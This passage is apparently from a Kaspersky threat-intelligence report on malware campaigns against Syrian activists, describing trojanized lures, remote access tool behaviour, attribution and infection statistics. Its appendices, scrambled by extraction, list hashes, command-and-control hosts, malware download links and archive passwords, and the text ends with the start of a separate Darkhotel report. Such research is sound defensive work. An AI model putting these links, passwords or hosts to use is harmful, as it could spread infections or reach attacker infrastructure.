spreadsheet of wanted activists leads to infection. We found a set of compressed files on a popular social networking site; when, extracted it showed a database containing a list of activists and wanted individuals in Syria. A video entitled was published on November 9 2013, and the download link for this database application was included in the information section of the video. TLP: Green For any inquire please contact intelreports@kaspersky.com The download URL redirected victims to a file-sharing service where the file was being hosted. The compressed RAR file .rar , with the MD5 signature 0c711bf29815aecc65016712981 59a74 and a file-size of 7,921,063 bytes was protected with the password 111222333 The video requests the victim to scan the password protected .rar file using VirusTotal to verify that it is not infected. After extracting all the files to a temporary folder, we were presented with the application itself and a text file needed to access the hidden features of the program. The file PASSWORD.txt file contained the following text: syria123!@# TLP: Green For any inquire please contact intelreports@kaspersky.com Upon closer inspection, the first and last buttons of the application were functional, but the others generated error messages (claiming that some files were missing). The first button ( , General Global File) uses data-base.db.exe (MD5 8f16efb51fe67961e e31c4f36cbe11db), which was placed into C:\Users\User\AppData\Roaming and, when executed, extracts the Excel spreadsheet file Data-Base.xslx (MD5 f0a8a1556efbb106b6297700d4cce61b) from the Data-Base.db (MD5 95a5c3e91bbb4a3a323433841fbef82a) file in the main folder. The last button ( is the exit button. TLP: Green For any inquire please contact intelreports@kaspersky.com Here is some interesting information worth noting: .exe is not detected as a malicious file. The file data-Base.db is detected as a malicious file. TLP: Green For any inquire please contact intelreports@kaspersky.com The file data-base.db is a compressed archive: Product name from the file signature: Project1 Publisher name from the signature: Syrian malware Compilation Timestamp: 2013-11-09 14:47:26 When system32.exe is run, the process iexplorer.exe is spawned and is automatically registered for Startup. The file connects to the IP address 31.9.48.7 TCP on port 999. As mentioned in previous reports, the IP address 31.9.48.7 belongs to the Syrian Telecommunications Establishment (STE). Other temporary files used for the infection were also detected, such as system32.exe (MD5: 9424b355a3670fd7749d3d25cbea18cb) which was copied into the C:\Users\user\appdata\ local\temp\ folder. TLP: Green For any inquire please contact intelreports@kaspersky.com The presence of DarkComet DC_MUTEX-* was a giveaway of the usage of this remote administration tool. During infection, the Excel spreadsheet is displayed, comprising 96763 rows and 13 columns of activist information. The rows correspond to records of individuals wanted by the government and the columns correspond to information about the individuals. While there is no column description, data in each column reflects the type of data. 3.2.2. Files named Scandals are quite attractive Using shockingly disturbing videos to distribute malware A disturbing video showing injured victims of recent bombings was used to appeal to people s fear and exert them to download a malicious application available in a public file-sharing website. After our initial analysis, the file named .exe proved to be heavily obfuscated with the commercial utility MaxToCode for .NET as a means of avoiding early detection by antivirus solutions. When executed, the original sample created another executable file in the Windows temporary folder (C:\Users\[USERNAME]\AppData\Local\Temp) named Trojan.exe , which corresponds to the code of the RAT itself. This is used to save all keystrokes and system activity to another file in the same location, Trojan.exe.tmp TLP: Green For any inquire please contact intelreports@kaspersky.com Captured information is sent to a dynamic domain corresponding to the host hacars11.no-ip.biz using local port 1177 with no SSL encryption (but base64 encoded), making the analysis of the network traffic a much easier task. During the initial connection to the remote server (after an initial ping to check for internet connectivity), the Trojan will send the machine s name, installed Windows version, logged username, webcam availability and the version of the RAT in use. Several embedded command line scripts are in charge of adding the Trojan s executable file to the Windows Firewall allowed list, while at the same time disabling security zone checking in Internet Explorer. System persistence is obtained via a modification in the Software\Microsoft\Windows\ CurrentVersion\Run registry key and by adding a copy of the malware to the Startup folder. TLP: Green For any inquire please contact intelreports@kaspersky.com Even though different obfuscation techniques are used in the samples we analysed, all of them have underlying dependencies on the .NET framework namespaces, which eventually allows deep source code inspection of the threat. TLP: Green For any inquire please contact intelreports@kaspersky.com 3.2.3. Ammazon Internet Security the popular Antivirus If you thought the era of fake antivirus programs was over, here comes a newly developed sample to challenge your beliefs. With the innocent title of Ammazon Internet Security , this malicious application tries to mimic a security scanner, even including a quite thorough graphical user interface and some interactive functionality. Again, this shows the simplicity of creating a graphical user interface that will trick most of the nontech-savvy population. Using nothing more than a couple of buttons and a catchy name, Syrian malware groups were hoping that the intended victims would fall for the trap. Analyzing the code interestingly revealed that it has the look--feel of a security application; but, of course, no real security features. While silently executing a remote administration tool when launching this security suite , targeted victims were left without their Ammazon protection but witha RAT installed. From the Windows process list shown in Process Explorer, we were able to see J. L Antivirus 4.0 executing in our system, and through Process Monitor we caught the creation of the analysis log file for our fake antivirus. Behind the curtains, a connection is made to a remote host, sending real time information on all our activities the real cost of this free internet security suite! Among the many programming methods found inside the source code, we were even able to find CheckForUpdates function; and if you look closely enough you can even see Detection and Quarantine assemblies included in this application. So, not only has a lot of work gone into creating this fake antivirus, the authors also followed good programming practices and implemented modules for each specific (albeit fake) functionality. Maybe at a really quick first sight this could pose as a legitimate tool, but a deeper inspection reveals its true malicious nature. TLP: Green For any inquire please contact intelreports@kaspersky.com The real log file was one where all keystrokes were recorded and later sent from the computer via a TCP connection. Even though this type of keylogging functionality is nothing new, when we consider how these malicious applications are being used, and the control they give to the attackers, we can start to measure the importance of reporting these threats and providing protection from them. Evidently, the malware authors didn t care much to provide an option to close the antivirus and if you were to kill the process you would get a nice blue screen of death and an unexpected system reboot. Surely, the fake application will load again once everything is back up, creating an interesting method for guaranteeing persistence. TLP: Green For any inquire please contact intelreports@kaspersky.com 3.2.4. You ve installed the latest antivirus solution, now let protect your network Total Network Monitor (which is a legitimate application) was inside another sample we found, used with embedded malware for spying purposes. Offering security applications to protect against surveillance is one of the many techniques used by malware writing groups to get victims who are in desperate need for privacy to execute these dubious programs. An almost fully functional version of the Total Network Monitor utility is included. What this modified version does not show is the remote connection made to a host where f system information is dumped. The actual infection is performed when first clicking on the installer, which uses obfuscation to hide all malicious activity until the legitimate tool is completely installed. As with other samples reviewed, system persistence is obtained by modifying Windows start-up registry keys. Using names such as Desktop Manager increases the likelihood for this threat to go unnoticed. However, the entry name empty or empty.exe should raise a red flag when auditing these keys. 3.2.5. Whatsapp and Viber for PC: Instant messaging, instant infection As with other samples, social engineering does all of the heavy work. Instant messaging applications for desktop operating systems have been used in the past to spread malware and it seems that Syrian malware authors have jumped on the bandwagon. In contrast to the Ammazon Internet Security , these samples don t contain any graphical user interface or even an error message that will tell the victim not to worry about their security. Heading straight for system infection has proven successful for them, and using these popular application names gets the interest of a much larger audience. TLP: Green For any inquire please contact intelreports@kaspersky.com The following screenshot shows how the application name, intended functionality and even the icon used, all work in conjunction to create a believable story for the victim. And this is not a comprehensive list, by any means. Framing and social engineering techniques are playing an essential role in all Syrian related malware threats and the trend suggests that the complexity of them will only keep on increasing. 3.2.6. Beware of chemical attacks Another attack uses social engineering tricks. The sample 38e3bc8776915dbd2e55a4d90f85a872, named Kimawi.exe and with JPG icon, is a RAT file bound to the picture Kimawi.jpg . This picture is a previously leaked paper supposedly by the regime in Syria warning military units to prepare for chemical attacks from friendly units. TLP: Green For any inquire please contact intelreports@kaspersky.com Kimawi.jpg 3.2.7. Commands and functionality Different remote administration tools have been spotted in the wild; most of them provide an extensive range of functionality to fully control infected systems. These include: Keylogging Capturing screenshots and webcam control. Recording live sound/video. Installing programs Uploading/downloading files File, process and registry key management Remote shell Executing DDoS attacks TLP: Green For any inquire please contact intelreports@kaspersky.com Among the most popular RAT found in the samples subset is Dark Comet, a free remote administration tool that provides a comprehensive command set for the attackers to use in their malicious purposes. DarkComet Control panel & Functionality Another RAT widely used in the Arab world is NjRAT, which includes a list of commands (see below) that can be sent from the controller to the infected system. TLP: Green For any inquire please contact intelreports@kaspersky.com Command Option Function PROC Retrieve information about current running process Kill a process Kill list of processes and delete module files Restart a running process Start a CMD and direct STDIN and STDOUT to be controlled by C&C Send command to CMD Terminate CMD process Retrieves keylogging file Information about system Drive, malware status Download and run a file from a specified URL Screenshots, desktop monitoring Ping Completely Uninstall Trojan Terminate Trojan Process Restart Trojan TLP: Green Update Trojan Enumerate Registry Key Set Key Value Delete Registry Key Create SubKey Delete SubKey For any inquire please contact intelreports@kaspersky.com 3.2.8. Evolution of malware attack file numbers The attackers are working on full power, and the number of attacks and malicious files being distributed is constantly increasing as they become more organized and proficient. Below is the timeline distribution for malicious files distributed during 2013-2014, based on the first time they were distributed or seen in public (Skype, Facebook, file-sharing, email, etc.). Below is the timeline distribution for the collected samples based on compilation time Samples timeline based on compilation time Q2 2012 TLP: Green Q3 2012 Q4 2012 Q1 2013 Q2 2013 Q3 2013 Q4 2013 Q1 2014 Q2 2014 For any inquire please contact intelreports@kaspersky.com The samples details and domains list used by the attackers can be found in the Appendices 1 and 2 in the end of the document. 3.2.9. Locations, domains and team The group responsible for the attacks is using common techniques shared by many of the hacking groups around the world. They benefit from dynamic domains that can be linked to their modem devices and configured with forward functionality to a public IP address assigned by the ISP. By restarting their modems they obtain a new address, creating a dynamic infrastructure that can be easily managed. Dynamic Update Clients (DUC) on their computer devices (usually the same as the RAT server) are in charge of having the dynamic domain provider update to the newly assigned address. One of the videos by one of the attackers has shown one of the group members using a TP-Link modem model TD-W8968, commonly found in SOHO environments. TLP: Green For any inquire please contact intelreports@kaspersky.com YouTube page for one of the Attackers Showing videos about their web defacements, cyberattacks and an interview with radio channel talking about their hacking achievements Since the end of 2013, the group has extensively relied on a class C IP subnet, 31.9.48.0/24, provided by TARASSUL ISP (Syrian Telecommunications Establishment) for its attacks. We suspect this subnet has been allocated to the group, also an indication that they are now operational from a single location. In early 2014, the group moved to an IP address in Russia (31.8.47.7), to launch multiple new attacks. Information on domain All4Syrian.com This domain is registered for the email aloshalaa@gmail.com. It served as a pro-regime website back in 2012 and is being used for the C&C of some of the RAT files. The domain was registered to okpa1984@gmail.com from 2011 to 2013. Malware has also been seen connecting to xtr.all4syrian.com and vip.all4syrian.com. Attackers geographical distribution The map below shows the attackers geograhical distribution based on the geolocation of the IP addresses used by the C&C servers: TLP: Green For any inquire please contact intelreports@kaspersky.com 3.2.10. Victims The distribution of victims is confined only to Syria, but also reaches nearby countries. We have observed victims of the Syrian-based malware in: Syria Lebanon Turkey Kingdom of Saudi Arabia Egypt Jordan Palestine United Arab Emirates Israel Morocco United States TLP: Green For any inquire please contact intelreports@kaspersky.com Victims geographical distribution map Map showing geographical distribution of victims with zoom on the most affected areas TLP: Green For any inquire please contact intelreports@kaspersky.com Below are snapshots taken from videos published by the attackers, showing their RAT control panel and list of victims. This shows some of the victims located in different countries. The sample details and domain lists used by the attackers can be found in Appendices 1 and 2 in the end of this document. 3.2.11. Activist Behavior It is worth noting that we have seen evidence of activists trying to carry out Denial of Service attacks on the RAT domains and servers, in an effort to overwhelm their resources and cause their connections to timeout. The post below shows a warning from activists about pro-government hacker attacks on Facebook pages, explaining how pro-government groups post links to Trojanized applications in order to infect users The activists announce in the post that they have spotted a C&C domain used by the Trojans and that they are attacking it to remove all hacked victims. TLP: Green For any inquire please contact intelreports@kaspersky.com translated as Host Attack in progress .. to remove all hacked victims with help of god TLP: Green For any inquire please contact intelreports@kaspersky.com 3.3. Attribution Team and positions From many posts, forums and identification videos, it is clear that the group has an organized structure of teams working together, The names and positions outlined below were collected from posts on infiltrated forums or pages. They are all either nicknames or incomplete names that do not enable full identification of the attackers. The Resistant Syrian Electronic Army Group 1: Team Hacker and Assad Penetrations Unit Group 2: Anonymous Syria Al Assad Unit Group 3: Management of Electronic Monitoring and Central Tracking Unit Group1: Team Hacker and Assad Penetrations Unit Name Position Shady Head of Assad Hacker team Fadi Responsible for raids Sarmad Responsible for operations in raids unit Mahmoud Assistant to the head of management unit Girl nickname Fidaeya (redemptionist) Member of support and publishing team Najma Member of media and publishing team TLP: Green For any inquire please contact intelreports@kaspersky.com Group2: Anonymous Syria Al Assad Unit Name Position Jabbour Public relations manager Haydara Electronic ambushes unit Alaa Morched Electronic monitoring unit and follow up Ahmad Responsible for team unit Nariman Responsible for team unit Responsible for team unit Zina Responsible for team unit Derkachli Kordahli Responsible for destruction of victim accounts Ahmad and Morad Engaged in attacks Group3: Management of Electronic Monitoring and Central Tracking Unit Name Position Kenan Head of team Okba Head of electronic operations Ahmad Head of eectronic raids Ritzel (heart of the lion) Head of electronic penetration operations TLP: Green For any inquire please contact intelreports@kaspersky.com 4. Kaspersky Lab MENA RAT Statistics Remote Administration Tool (RAT) Trojans are malicious programs that allow a remote operator control a system as if he has physical access to that system. Malicious RATs are widely used by different types of cybercriminals (hacktivists, script-kiddies, and scammers) and even in some state-sponsored attacks. Some of the most popular RATs are detected by Kaspersky products as following: Trojan.MSIL.Zapchast, also known as Njrat Backdoor.Win32.Bifrose, also known as Bitfrose Backdoor.Win32.Fynloski, also known as DarkComet Backdoor.Win32.Xtreme, also known as Xtremrat The statistics below, extracted from the Kaspersky Security Network (KSN), show the number of RAT infection attacks blocked by Kaspersky Lab products in the MENA (Middle East North Africa) region in the 2013-2014 period: Country/Detection Zapchast Bitfrose Fynloski XtremeRAT Total Algeria 39113 12071 11643 7106 69900+ Turkey 6326 3325 14002 3586 27200+ 9616 5555 5336 4516 25000+ Egypt 5567 5883 4325 2634 18400+ Iraq 6756 2280 3235 3055 15300+ 3594 1165 9244 14700+ Morocco 4084 2710 3104 1233 11100+ Lebanon 8073 8900+ Tunisia 2844 1888 1495 1004 7200+ Syria 2806 1897 1362 6600+ Qatar 1332 2177 4000+ Jordan 1259 1104 3400+ Oman 1241 2900+ Bahrain 1218 1214 2800+ Kuwait 2100+ TLP: Green For any inquire please contact intelreports@kaspersky.com Zapchast Bitfrose Fynloski XtremeRAT TLP: Green For any inquire please contact intelreports@kaspersky.com Based on KSN world statistics, the MENA region has one of the highest numbers for RAT attacks, as shown below: Country Number of users Algeria 39113 India 35024 France 10955 Saudi Arabia 9616 Mexico 6862 Iraq 6756 Turkey 6321 Egypt 5567 Russian Federation 5526 Malaysia 5014 NjRAT infection Top 10s Algeria has the highest number of users facing NjRat infection for the 2013-2014 period and five countries from MENA are in the NjRat top 10 Algeria has the highest number of users facing Xtreme RAT infection for the 2013-2014 period and four countries from MENA are in the Xtreme RAT top 10. Four countries from MENA are in the Bifrose top 10 infection list. Three countries from MENA are in the DarkComent top 10. TLP: Green For any inquire please contact intelreports@kaspersky.com 5. Conclusion Syrian malware has a strong reliance on social engineering and the active development of technologically complex malicious variants. Nevertheless, most of them quickly reveal their true nature when inspected carefully; and this is one of the main reasons for urging Syrian users to be extra vigilant about what they download and to implement a layered defense approach. Antivirus software uses either signature or heuristic-based detection to identify malware. On the one hand, signature detection searches for a unique sequence of bytes that is specific to a piece of malicious code. On the other hand, heuristic detection identifies malware based on program behaviour. In our research we were able to collect more than 100 malware samples used to attack Syrian citizens. Although most of these samples are known, cybercriminals rely on a plethora of obfuscation tools and techniques in order to change the malware structure so as to bypass signature scanning and avoid antivirus detection. This proves how critical heuristic technologies are when it comes to protecting against these types of attack. By being able to identify variants of known malware types or even new malware families, Kaspersky Lab security products detected all the collected samples. We expect these attacks to continue and evolve both in quality and quantity. We expect the attackers to start using more advanced techniques to distribute their malware, using malicious documents or drive-by download exploits. With enough funding and motivation they might also be able to get access to zero day vulnerabilities, which will make their attacks more effective and allow them to target more sensitive or high profile victims. Even though the attackers depend mainly on using known RATs, their rapid improvement and application of obfuscation techniques, GUI development for fake applications, and code modification via automated builders, increase the probability that it won t be too long before they start writing their own Trojans to take advantage of customized infection capabilities and implement better security evasion. Finally, having a comprehensive and up-to-date antivirus and firewall should be the first measure taken by any user that does any type of online activity, especially during these uncertain times when new cyber threats appear almost daily. TLP: Green For any inquire please contact intelreports@kaspersky.com Appendix 1: Samples All samples table The list of sample files has been collected through the infection vectors detailed above (Skype, Facebook, file-sharing, email, etc.). The samples have been either generated using automated tools (RAT server, obfuscation tools) or developed and bound to RAT files, especially the new samples with graphical content. File information Ammazon Internet Security.rar Smart Firewall.rar SSH VPN.rar First reported Main file MD5 Special info https://www.dropbox.com/s/ f9gpiv2qk4m1r44/Ammazon%20 Internet%20Security.rar https://www.dropbox.com/ s/65bnrk8x4gt2og8/Smart%20 Firewall.rar https://www.dropbox.com/s/ 23ae669639c1d970aaee6f9f551b82b1 Mar 18, abf93ad254cd01997935863c9e556af8 2014 96ca1d7e45b03f438804d3b46d22df8a 1827acc1cf53e6ac9d9b638fc81f50a1 c4kwnh6q0r3ymwf/SSH%20VPN.rar thejoe.publicvm. com multiple ports: 31.8.48.7 https://www.facebook.com/photo. php?fbid=726440034062205&set=a .375478335825045.85979.36700297 6672581&type=1&theater reported on facebook and https:// www.cyber-arabs.com Viber fooor pc%E2%80%AEexe%E2%80%AEexe.rar Jan 26, http://ge.tt/14hNebG1/v/0 2014 8995ff66bacaf76d1c24660f3092583c .scr file http://www.youtube.com/ watch?v=rU7B0mO9dr8 TLP: Green For any inquire please contact intelreports@kaspersky.com File information First reported Main file MD5 Special info Whatsapp for pc 2014.exe http://ar.rghost.net/54001947 other name: NJServer.exe April 11, 2014 8995ff66bacaf76d1c24660f3092583c 31.8.48.7, port 1199 https://www.facebook.com/AlhyytAl shrytLlthwrtFyAlryfAlghrby?sk=timel ine&hc_location=timeline&filter=2 hhhhhkrufnrrrs1982. .exe, chrome. zapto.org port 1177 exe, shitanoxxx.exe, shitano.exe (shitano= the devil) Jan, 2014 10300846f75eb36ad87091ed7f04b5d8 Found this resolved back then to Source from friends at www.cyber- 95.212.148.21 from arabs.com facebook post cached on google .rar (=national security program) thejoe.publicvm.com -rar pass: 111222333 -Internal exe pass: syria123!@# Nov 9, 3828971a77d94b6a226064ede528e408 extracts with excel http://ge.tt/1v3NB7y/v/0 2013 (main executable) sheet with previously leaked details on http://www.youtube.com/ wanted activists watch?v=Cw1vD9DhEc0 .exe (=scandals) http://www. gulfup.com/?X65OmP http://www.youtube.com/ Nov 1, 2013 796cafc1983bc4e8a5d80d390d3cd33a hacars11.no-ip.biz watch?v=TBbhUSS-pik TLP: Green For any inquire please contact intelreports@kaspersky.com File information First reported Main file MD5 Skype.exe ec62a59b10b0e587529d431db18d7b77 Syriatel.exe ad9a18e1db0b43cb38da786eb3bf7c00 .zip (anti skype 1a6061d02794969ba7d57f808a64c1c2 virus) spediti 27 orangealert.zip master.exe 1 to 5 Jan 2014 ac54c78f37eec21d167b1571fc442e84 cddaf92765fd465fcea63a6e4a4e4cbc N/A 037d1cf1f8231f41dd6ae425488445fc PDB Path C:\Users\joe\Desktop\ 23e936f189611430fffbdd8e1f2a077f Desktop\Syriatel\Syriatel\obj\ bundled with Debug\Syriatel.pdb 9424b355a3670fd7749d3d25cbea18cb 3f86102e70a3d2fc2f94137599e8d9c2 gfbf.exe 202.exe SRGf2.exe VmFP4.exe OYTu4.exe ssss.exe d3f957963f56b8bc5e883984857379d4 Jan to 4c881505fe577e8d94227bb3e39b9f75 e81bdf099a5e31f955d1d582dabed1d2 2014 ef644d0b444d894d10e7fa8a5072a2e3 stub.exe July Winrar.exe 2013 tr.exe to May WindowsApplication1.exe 2014 June 2014 server.exe April abalse=the devils 2014 image.scr hhhhhkrufnrrrs1982. zapto.org 05574551467d6730800f7d098b17c98a oooo.exe Syria.exe Special info June 2014 c46f72cb68b8d729fea8952fc01e1f13 409a0b6954d4ff1000a6d7b78cde2b44 0125a39deb6c0fb37853faa9a90162d3 thejoe.publicvm.com 12d63168bac9de71bb9142aa9cf0e533 (31.9.48.146) debb0beac6414b681d050f2fbc2f2719 64.4.10.33:123 40527942833ac6ffa25e4f875ab0bd17 0d4bbd0d646cedea1c3eb5d2079ce804 12cbe97c89634db754bae817e3b177b3 7ba45daccca21db2e353b9144b29f2e8 abalse.no-ip.biz (95.212.148.233) 31.9.48.164 port 1122 vip.all4syrian.com (31.9.48.11) old but active. Windows_8_Pro_Build_9300_ 2012 to activation_(KMS).exe 2014 f73c643863b20d5843da4636330ff30e data.downloadstarter. cmp.online-hd.tv (108.161.189.5) alosh66.linkpc.net 86e6cc8827bce4837a55ad76133f3125 Cleaan.exe sent by email 17 June d96606d128ee726760f84eb8d37918b6 31.9.48.141 2014 e5c13f46b8fe119f77d0144c78ca9f60 port 5552 45d4479bdd7d9a3e06e955ad358f1b6a TLP: Green For any inquire please contact intelreports@kaspersky.com File information chrome.exe First reported Main file MD5 17 June Special info 31.9.48.141 port 2014 5552 e65107c5aeea5c3b3a59d4912905c3de f457f4ee2e2532466f180b86fb01c91d c71ccf5b1354d847fd7fae1e5668ea77 3eb93fd8129aadbcce8d303047a18c9f .scr (scandals of Shia retrieval from Syria) asa.exe feras.exe bc00e320aebb6f780ac4e70a6e183978 b5c7a04ae3eed7fd9f076d2a400ba660 2013 1a44d73596b0f6755b4ed9651708c9e9 to June b717adfd7a4997ebae49308171d09b1f 2014 fa77151f7677e1602338e57c13aeab13 basharalassad1.no-ip. biz (31.9.48.147) port 5552 b7be9a74048fd64f0562a94e5fa66db2 cd92e50ba570b6cc018fbafb6ea7e0ad 24db21293792639a3567bf8c1f651885 fb2fbca3be381bb1a0b410f66e04f114 d2561f4259da6784894ffb1a559c6952 clean.exe 31.9.48.84 port 999 Oct 2013 dd0965b9bb4d8fa833b59ab41b405c0b basharalassad1.no-ip. Sent by email, downloads file from gulfup.com file sharing site + connects to the Syrian IP gets 62b1b 9 June 05cb3c7bb6727541efb79b23442 as 2014 da98248ab1e4a287ac46023eacd08f5b 31.9.48.141 port 5552 Application1.exe from the file sharing site through direct link image.scr 9 June 2014 7ba45daccca21db2e353b9144b29f2e8 April MSRSAAP.EXE and May ab75661f837537c4efb20ba6e99f23de 2014 31.9.48.164 port 1122 tn4.mooo.com (31.9.48.11) port 83 tn5.linkpc.net ebb2acc6e6ff596dea4f034e6e941eea f2.exe MSRSAAP.EXE 1.exe ed9b62e17543b948da81c75ad4db88ad 1b1bdfdd0c5218354d7c979afbbf4a76 0d2f0807233cff088cf69f553553c3bc 430c8f11ce5a77e154ebcd0d7eb1501d 6ec76cfd10c6ee8e3d8fd81e445abb7b (31.9.48.11) resolving in the ed9 sample to 188.139.228.179 (Syria mobile telecom GPRS) and 178.52.194.35 (old IP) TLP: Green For any inquire please contact intelreports@kaspersky.com File information First reported Main file MD5 Special info b4eb0cb0fae200d09e6744f0ede10810 f3.exe f2.exe 13 May 1b1bdfdd0c5218354d7c979afbbf4a76 tn5.linkpc.net 1.exe 2014 0d2f0807233cff088cf69f553553c3bc (31.9.48.11) 38e3bc8776915dbd2e55a4d90f85a872 Kimawi.exe yamen.exe 2014 Oct 2013 system32.exe to Jan 2014 288a4ee20880be85af60b1bad4d1d4d7 modifying hosts file, no dns resolution 08947709640922b2d8e3b8d0e5b8e84e fernando85.no-ip.biz 21ec25f685843ec03fdba24837fc61e4 31.9.48.147 Oct 2013 a7caf08fba073ac3e92d1faea340cb59 Explorer.exe 13.exe server.exe to Jun 31.9.48.141 by e1f2b15ec9f9a282065c931ec32a44b0 2014 Jan 2014 c85480f1e4731f98e28dc007056615a4 meroassad.no-ip.biz 31.9.48.147 31.9.48.141 port 1960 31.9.48.141 port 1990 cd97b9b7494470274e7df66059348d6d 54c178ba89d752be2ae3307fd40db45f Sent by email 5 Jan 93195146c13ba6fd75b3c0062e3abf05 31.9.48.141 2014 f387eb11a402c9abb8700604906c00d6 port 1177 a57f6c06ba7ca5758f1ca48eaa0a9cc5 2013 2014 E.exe b8e7f3b4cbe8e58b0509fc7fde71ddbf 31.9.48.141 port 1920 ahmdddd.no-ip.biz 387a285597d3ac51637f6ecc07ba0d5b 31.9.48.141 port 5552 Jan 2014 faebf06b7113f47ec2f3089879d765b4 31.9.48.7 port 81 Jan to ashdgasd.exe 93195146c13ba6fd75b3c0062e3abf05 2014 3eeb1677da86e97a12205ff237a3df7d ab5bf9780d365c648fe39e70dc317ca5 31.9.48.7 port 1880 E.exe PDB Path: C:\Users\Syrian Malware\ Desktop\my rat\server\E\obj\ Debug\E.pdb 2014 402d806f1b61753bba0ea9bc7a8f76c2 31.9.48.7 port 1520 YaAli.exe TLP: Green For any inquire please contact intelreports@kaspersky.com File information First reported Main file MD5 Special info 217fe391d46cfd84653e36bc05a32f44 .exe doduu.exe rsha.exe juydghj.exe Jan to 2013 fd42186ffe642d10ea03d5cbec0cb3a0 f8f868b750a24f1a5be6083e80b06f30 shadye.zapto.org ec165a9be618283b6f37646761002f32 178.52.223.166:1177 ea4542ef5fa6a2682b8c00f97c88ed70 deb4c47abfc873f163693e2cfc9c7800 hacker1987.zapto.org 178.52.158.22 port 1177 a91cf2847fa49fa5422244f85af0d3c5 sent by email freedom.exe fff.exe 2013 to fun.exe Jan 2014 lu04mtrd.exe af77e56fbf9259c5242adb964d0773a5 8918b499ef2015f6988e806da0df8f12 4851de5e6d72f428c4e557b91417c1b4 a91cf2847fa49fa5422244f85af0d3c5 ab3da3252b698b3c7903a824b11418ed 46.213.188.88 port 1177 94.252.216.187 port 1177 193.227.183.171 port 1604 178.52.158.22 port 1177 178.52.203 port 80 shaaa1983.zapto.org Sept bjwytowe.packed 2013 6c3e84a601b48eefc716936aee7c8374 blob to May f9acce2596443c80254a016f426b1c41 2014 46.53.11.244 port 1177 46.213.210.210 port 1063 to 1077 beespy.no-ip.org sexy.pif Oct 2013 ce47d484447dff1036e2100883320431 178.52.0.233 52c3674e584ea31aef53b7dc4b2a33c5 178.52.30.28 port 81 46.57.188.15 978ad00b35e8ea6f280cd375778884d3 Other suspicious files a3493689114f75a61a8102d875001429 .rar (imp the islamic 946ab0068e5ab64c3c19fb171f55b31a army) .exe (military locations) 2013 to .exe before: 69133513990f6e186cded6745cfade2f Jan 2014 after: 216.6.0.28 and others 846983dc879f12e9dd0500434769856f syrian rat.exe bb5d66b921a4499c23a339ba2690650f PDB Path: C:\Users\LOVE SYRIA\ Desktop\Syria.pdb 2013 TLP: Green 0e8e1d9bd9d7ae36cda747d6fdd284a3 31aeb34a57ae6b79ffa3d962316f3ec8 For any inquire please contact intelreports@kaspersky.com Appendix 2: C&C Domains The following is a list of domains and corresponding IP addresses used in the attacks. C&C Domain thejoe.publicvm.com C&C IP addresses used Location Notes 31.9.48.119 Syrian Telecommunications 31.9.48.146 Establishment, TARASSUL ISP 31.8.48.7 is DSL for OJSC thejoe.publicvm.com 31.8.48.7 Bashinformsvyaz ISP in Russia, Bashkortostan, Beloretsk 178.52.158.22 46.213.188.88 hacker1987.zapto.org 94.252.216.187 178.52.158.22 Syriatel Mobile Telecom Syriatel 3G 178.52.203.80 IP address in Lebanon (IDM Inconet Data Management), indicating the hacker1987.zapto.org 193.227.183.171 mobility of the group members, not only within Syria, but also to nearby countries alosh66.linkpc.net 81.9.48.11 abalse.no-ip.biz 95.212.148.233 aliallosh.sytes.net 65.49.68.142 (proxy IP) 31.9.48.11 Establishment Syrian Telecommunications Establishment Syrian Telecommunications 95.212.148.74 Establishment 31.9.48.147 Syrian Telecommunications 31.9.48.84 Establishment 31.9.48.11 188.139.228.179 178.52.194.35 TLP: Green Syrian Telecommunications 95.212.148.21 31.9.48.11 tn5.linkpc.net Establishment 65.49.68.142 (USA) vip.all4syrian.com tn4.mooo.com Syrian Telecommunications 69.65.5.104 46.57.213.64 basharalassad1.no-ip.biz (Wireless broadband) 69.65.5.104 (USA) aliallosh.sytes.net hhhhhkrufnrrrs1982.zapto.org Russian Federation VimpelCom PPPOE Syrian Telecommunications Establishment Syrian Telecommunications Establishment For any inquire please contact intelreports@kaspersky.com C&C Domain xtr.all4syrian.com C&C IP addresses used Location Notes 31.9.48.11 Syrian Telecommunications 82.137.200.48 from 2012 Establishment IP is at UFPR Universidade Federal do xtr.all4syrian.com 200.17.216.14 Paran , Brazil. Suspected to be SSH VPN 2014: 178.52.108.207 178.52.166.61 2013: 178.52.254.161 tn1.linkpc.net 31.9.48.11 Syrian Telecommunications 31.9.48.1 Establishment 46.213.100.97 46.213.123.97 94.252.217.145 2012: 178.52.165.92 tn2.linkpc.net 46.213.235.105 fernando85.no-ip.biz 31.9.48.147 meroassad.no-ip.biz 31.9.48.147 shadye.zapto.org 178.52.223.166 ahmdddd.no-ip.biz 31.9.48.141 178.52.0.233 beespy.no-ip.org 178.52.30.28 46.57.188.15 nowarsytia.no-ip.org hacars11.no-ip.biz 216.6.0.28 launched from this IP Other (No Domain) TLP: Green Syrian Telecommunications Establishment Syrian Telecommunications Establishment Syrian Telecommunications Establishment Syrian Telecommunications Establishment Syrian Telecommunications Establishment 216.6.0.28 is AS6453 AS6453 - TATA mail server used to send spam, dictionnary attacks were also Syriatel Mobile Telecom COMMUNICATIONS (AMERICA) INC,US (registered Apr 18, 1996), Damascus, Syrian Arab Republic, reassigned to STE 31.9.48.141 Syrian Telecommunications 31.8.48.7 Establishment 31.9.48.164 31.8.48.7 is OJSC Bashinformsvyaz ISP 31.9.48.84 in Russia For any inquire please contact intelreports@kaspersky.com THE DARKHOTEL APT A STORY OF UNUSUAL HOSPITALITY Version 1.1 November, 2014 Global Research and Analysis Team Contents Executive Summary.................................................................................................3 Introduction.............................................................................................................4 Analysis....................................................................................................................5 Delivery - Hotels/Business Centers and Indiscriminate Spread.....................5 Hotels and Business Centers Spread.........................................................5 Abusing Network Infrastructure...................................................................6 Indiscriminate Spread..................................................................................7 Darkhotel Spear-phishing Campaigns........................................................8 Recent 0-day Deployment...........................................................................9 Digital Certificates and Delegitimizing Certificate Authority Trust...................9 Cracking the keys...................................................................................... 12 Other Tapaoux Certificates........................................................................ 12 Enhanced Keyloggers and Development...................................................... 13 Keylogger Code.......................................................................................... 13 Interesting Malware Components....................................................................... 15 Small Downloader.......................................................................................... 15 Information Stealer......................................................................................... 16 Trojan.Win32.Karba.e..................................................................................... 17 Trojan-Dropper & Injector (infected legitimate files)..................................... 17 Selective Infector............................................................................................ 18 Campaign Codes............................................................................................. 18 Infrastructure and Victims................................................................................... 19 Sinkhole Domains........................................................................................... 19 Victim Locations - KSN and Sinkhole Data.................................................... 20 KSN Data................................................................................................... 20 Sinkhole Data............................................................................................ 22 Available ddrlog Victim Data........................................................................... 22 C2 Communications and Structure............................................................... 24 Victim Management........................................................................................ 25 Researcher Activity.................................................................................... 26 Conclusions.......................................................................................................... 27 TLP: Green For any inquiries, please contact intelreports@kaspersky.com Executive 